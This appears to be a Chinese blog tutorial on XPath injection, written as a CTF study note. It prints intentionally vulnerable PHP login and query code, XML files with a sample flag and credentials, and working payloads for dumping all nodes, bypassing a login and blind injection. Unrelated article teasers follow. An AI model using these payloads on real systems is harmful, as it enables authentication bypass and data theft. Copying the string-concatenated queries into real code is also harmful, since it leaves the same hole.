Xpath注入

这里学习一下xpath注入

xpath其实是前端匹配树的内容 爬虫用的挺多的

XPATH注入学习 - 先知社区

查询简单xpath注入

index.php

<?php
if(file_exists('t3stt3st.xml')) {
$xml = simplexml_load_file('t3stt3st.xml');
$user=$_GET['user'];
$query="user/username[@name='".$user."']";
$ans = $xml->xpath($query);
foreach($ans as $x => $x_value)
{
echo "2";
echo $x.":  " . $x_value;
echo "<br />";
}
}
?>

t3stt3st.xml 

<?xml version="1.0" encoding="utf-8"?>
<root1>
<user>
<username name='user1'>user1</username>
<key>KEY:1</key>
<username name='user2'>user2</username>
<key>KEY:2</key>
<username name='user3'>user3</username>
<key>KEY:3</key>
<username name='user4'>user4</username>
<key>KEY:4</key>
<username name='user5'>user5</username>
<key>KEY:5</key>
<username name='user6'>user6</username>
<key>KEY:6</key>
<username name='user7'>user7</username>
<key>KEY:7</key>
<username name='user8'>user8</username>
<key>KEY:8</key>
<username name='user9'>user9</username>
<key>KEY:9</key>
</user>
<hctfadmin>
<username name='hctf1'>hctf</username>
<key>flag:hctf{Dd0g_fac3_t0_k3yboard233}</key>
</hctfadmin>
</root1>

首先传递最简单的

http://127.0.0.1:3000/dir.php?user=user1

可以发现获取到了内容

这里我们如果存在报错的话我们可以使用 '; 测试

http://127.0.0.1:3000/dir.php?user=user1%27;

我们首先看看这个时候的注入内容

$query="user/username[@name='".$user."']";$query="user/username[@name='user1';']";

然后我们开始测试

127.0.0.1:3000/dir.php?user=user1' or '1

发现就实现了注入

这里xpath中还存在一个万能钥匙

类似于 ' or '1'='1'# 的

']|//*|//*['
http://127.0.0.1:3000/dir.php?user=%27]|//*|//*[%27

发现所有的东西都出来了

这里的原理是

$query="user/username[@name='']|//*|//*['']";首先通过闭合[@name='']  //* 这里不是注释哦 是查询所有的节点//*[''] 这里是查询所有文本为空的节点 然后通过 | 符号进行链接这样就是一个查询全部节点的payload了

这里存在一个题目 PolarD&N的 注入

PolarD&N的 注入

这道题就是直接构造

http://8371c06a-96fa-4013-be20-c53a2fbfe512.www.polarctf.com:8090/?id=%27]|//*|//*[%27

这里有个问题就是如何知道是xpath注入 我认为应该是拼接做题经验,并且测试过sql ssti这些都无法注入

xpath登入注入

login.php:

<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title></title>
</head>
<body>
<form method="POST">
username:
<input type="text" name="username">
</p>
password:
<input type="password" name="password">
</p>
<input type="submit" value="登录" name="submit">
</p>
</form>
</body>
</html>
<?php
if(file_exists('test.xml')){
$xml=simplexml_load_file('test.xml');
if($_POST['submit']){
$username=$_POST['username'];
$password=$_POST['password'];
$x_query="/accounts/user[username='{$username}' and password='{$password}']";
$result = $xml->xpath($x_query);
if(count($result)==0){
echo '登录失败';
}else{
echo "登录成功";
$login_user = $result[0]->username;
echo "you login as $login_user";
}
}
}
?>

test.xml

<?xml version="1.0" encoding="UTF-8"?>
<accounts>
<user id="1">
<username>Twe1ve</username>
<email>admin@xx.com</email>
<accounttype>administrator</accounttype>
<password>P@ssword123</password>
</user>
<user id="2">
<username>test</username>
<email>tw@xx.com</email>
<accounttype>normal</accounttype>
<password>123456</password>
</user>
</accounts>

 首先查看这里的注入语句

$x_query="/accounts/user[username='{$username}' and password='{$password}']";

可以发现可以通过单引号注入

$x_query="/accounts/user[username='1'or 1=1 or ''='' and password='{$password}']";

这样不就注入成功了

所以payload

1'or 1=1 or ''='

xpath盲注

首先我们需要探测是有多少个节点

'or count(/)=1  or ''='  登入成功'or count(/)=2  or ''='  登入失败

可以确定只有一个节点

然后就是判断节点的长度

'or string-length(name(/*[1]))=8 or ''='  登入成功'or string-length(name(/*[1]))=2 or ''='  登入失败

XPATH注入学习 - 先知社区 这里写的很详细了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/283070.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

MinIO使用,文件上传和下载

MinIO使用&#xff0c;文件上传和下载 中文文档&#xff1a;https://www.minio.org.cn/docs/minio/kubernetes/upstream/index.html 官网&#xff1a;https://min.io/ 官网下载和安装&#xff1a;https://min.io/download#/kubernetes 安装 二进制文件安装 下载MinIO wg…

55 代码审计-JAVA项目注入上传搜索或插件挖掘

目录 必备知识点演示案例:简易Demo段SQL注入及预编译IDEA审计插件FindBugs安装使用Fortify_SCA代码自动审计神器使用Ofcms后台SQL注入-全局搜索关键字Ofcms后台任意文件上传-功能点测试 涉及资源&#xff1a; 我们一般针对java项目&#xff0c;进行漏洞分析的话&#xff0c;主要…

Python 函数与参数传递

一、函数的定义和调用 在python中&#xff0c;如果经常重复使用一些代码&#xff0c;可以把它们创建为一个函数&#xff0c;这可以大大减少编程工作量。用户创建的函数叫做自定义函数。定义函数时要使用def关键字&#xff0c;格式如下&#xff1a; def 函数名&#xff08;参数…

Linux+Docker+Gitee+Jenkins自动化部署.NET Core服务

目录 一、安装Jenkins 1、跟新yum包 2、查询镜像 3、拉取镜像 4、创建Jenkins工作目录&#xff0c;并将容器内目录挂载到此目录上 5、启动Jenkins容器 二、Jenkins配置 1、Jenkins安装gitee码云插件 2、创建私人令牌 3、Jenkins添加全局凭据 4、系统配置 三、构建任…

数据安全传输基础设施平台(一)

1引言 1.1项目简介 数据安全传输基础设置平台项目&#xff08;简称&#xff0c;数据传输平台&#xff09;&#xff0c;是一款基础设施类项目&#xff0c;为集团、企业信息系统的提供统一、标准的信息安全服务&#xff1b;解决企业和企业之间&#xff0c;集团内部信息数据的传…

C# WPF上位机开发(函数运行时间分析)

【 声明&#xff1a;版权所有&#xff0c;欢迎转载&#xff0c;请勿用于商业用途。 联系信箱&#xff1a;feixiaoxing 163.com】 上位机除了基本功能和稳定性之外&#xff0c;还有一个要注意的就是运行效率的问题。如果我们想提高软件的运行效率&#xff0c;单位时间做更多的工…

12.5,12.15AVL树更新,定义,插入

定义平衡因子为右子树高度减去左子树高度 AVL树插入分为两步&#xff1a; 按照二叉搜索树的方式插入新节点调整平衡因子 对于平衡因子的调整&#xff0c;在插入之前&#xff0c;所有节点的平衡因子分为三种情况&#xff1a;0&#xff0c;1&#xff0c;-1插入后&#xff0c;新…

手机上的python怎么运行,python在手机上怎么运行

大家好&#xff0c;本文将围绕python程序如何在手机端运行展开说明&#xff0c;python程序如何在手机上运行是一个很多人都想弄明白的事情&#xff0c;想搞清楚手机上的python怎么运行需要先了解以下几个事情。 如何用手机编程Python&#xff1f; 1.QPython3&#xff1a;这是一…

华为eNSP点到点IP隧道实验GRE--VPN

实验还原 配置如下 AR1 [Huawei]un in en [Huawei]sys AR1 [AR1]inte g0/0/0 [AR1-GigabitEthernet0/0/0]ip ad 192.168.1.254 24 [AR1-GigabitEthernet0/0/0]inte g0/0/1 [AR1-GigabitEthernet0/0/1]ip ad 192.1.1.1 24 [AR1-GigabitEthernet0/0/1]ospf [AR1-ospf-1]ar 1 […

Node.js多版本管理切换

nodejs多版本管理软件&#xff1a;https://github.com/coreybutler/nvm-windows 安装方法 https://www.jianshu.com/p/9ba4cd0706da

多层记忆增强外观-运动对齐框架用于视频异常检测 论文阅读

MULTI-LEVEL MEMORY-AUGMENTED APPEARANCE-MOTION CORRESPONDENCE FRAMEWORK FOR VIDEO ANOMALY DETECTION 论文阅读 摘要1.介绍2.方法2.1外观和运动对其建模2.2.记忆引导抑制模块2.3. Training Loss2.4. Anomaly Detection 3.实验与结果4.结论 论文标题&#xff1a;MULTI-LEVE…

【每日一题】【12.17】746.使用最小花费爬楼梯

&#x1f525;博客主页&#xff1a; A_SHOWY&#x1f3a5;系列专栏&#xff1a;力扣刷题总结录 数据结构 云计算 数字图像处理 力扣每日一题_ 1.题目链接 746. 使用最小花费爬楼梯https://leetcode.cn/problems/min-cost-climbing-stairs/ 2.题目详情 今天的每日一题又…